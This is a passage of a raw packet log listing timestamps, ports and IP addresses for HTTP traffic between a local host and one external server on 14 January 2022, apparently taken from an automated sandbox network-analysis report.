Jan 14, 2022 20:29:59.135689974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135730028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135755062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.193242073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.193789959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.193888903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.193902016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.193944931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.193984032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194000006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194022894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194061995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194070101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194101095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194140911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194148064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194183111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194221020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194233894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194259882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194298983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194307089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194336891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194375992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194380999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194415092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194453955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194468975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194495916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194534063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194546938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194572926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194644928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194662094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194681883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194721937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194732904 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194761038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194798946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194806099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.194839001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194878101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.194889069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.198519945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.251353979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.251401901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.251444101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.251513004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.253710032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.256529093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.256694078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.256783009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.256875992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257005930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257066965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257201910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257245064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257338047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257344961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257376909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257443905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257464886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257540941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257596970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257607937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257647038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257685900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257697105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257725954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257766008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257777929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257806063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257843971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257857084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257913113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257952929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.257966042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.257989883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258028984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258039951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258069038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258105993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258119106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258146048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258187056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258197069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258227110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258266926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258279085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258304119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258343935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258354902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258383989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258420944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258433104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258459091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258498907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258508921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258538008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258578062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258590937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258615971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258655071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258666039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258694887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258733034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258745909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258771896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258810043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258822918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258850098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258889914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258912086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.258928061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258968115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.258980989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259006977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259043932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259056091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259083033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259123087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259134054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259181023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259228945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259234905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259267092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259305954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259320021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259345055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259382010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259397030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259421110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259462118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259474993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259501934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259542942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259557009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259579897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259620905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259624958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259660006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259696960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259711981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259736061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259776115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259787083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259814978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259855032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259867907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259891987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259932041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.259946108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.259969950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260006905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260020971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260046959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260086060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260097980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260126114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260166883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260179043 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260205030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260243893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260251999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260282993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260320902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260345936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260363102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260401964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260412931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260441065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260482073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260493040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260519028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260559082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260565996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260597944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260636091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260648012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260674953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260715008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260730028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260754108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260793924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260804892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260831118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260870934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260881901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.260909081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260946035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.260961056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.310045958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.310216904 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.313313961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.313357115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.313498020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.319071054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319227934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319322109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319370031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319370031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.319433928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.319483042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319528103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319619894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.319627047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319722891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319798946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.319812059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319870949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319910049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319921017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.319950104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319989920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.319994926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320029974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320070028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320077896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320108891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320148945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320156097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320190907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320229053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320235968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320267916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320308924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320321083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320348024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320389032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320394993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320425987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320466042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320473909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320506096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320544004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320557117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320585012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320624113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320635080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320663929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320703983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320712090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320741892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320780993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320785046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320820093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320858955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320868969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320899010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320936918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.320944071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.320976973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321017981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321028948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321054935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321094036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321098089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321134090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321172953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321183920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321212053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321253061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321259022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321291924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321331978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321337938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321369886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321409941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321420908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321449995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321487904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321500063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321527004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321566105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321578026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321607113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321646929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321657896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321683884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321724892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321732998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321763992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321801901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321813107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.321842909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321954966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321991920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.321994066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322032928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322041988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322074890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322113037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322124004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322151899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322199106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322202921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322310925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322349072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322360992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322388887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322428942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322437048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322467089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322505951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322511911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322545052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322582960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322594881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322622061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322660923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322673082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322700977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322741985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322750092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322779894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322819948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322825909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322858095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322896004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322902918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.322935104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322973967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.322982073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.323014021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323054075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323061943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.323091984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323132038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323138952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.323174000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323211908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323225021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.323282957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323323965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323333025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.323374033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323414087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323440075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.323451996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.323493004 CET	80	49882	81.163.30.181	192.168.2.4
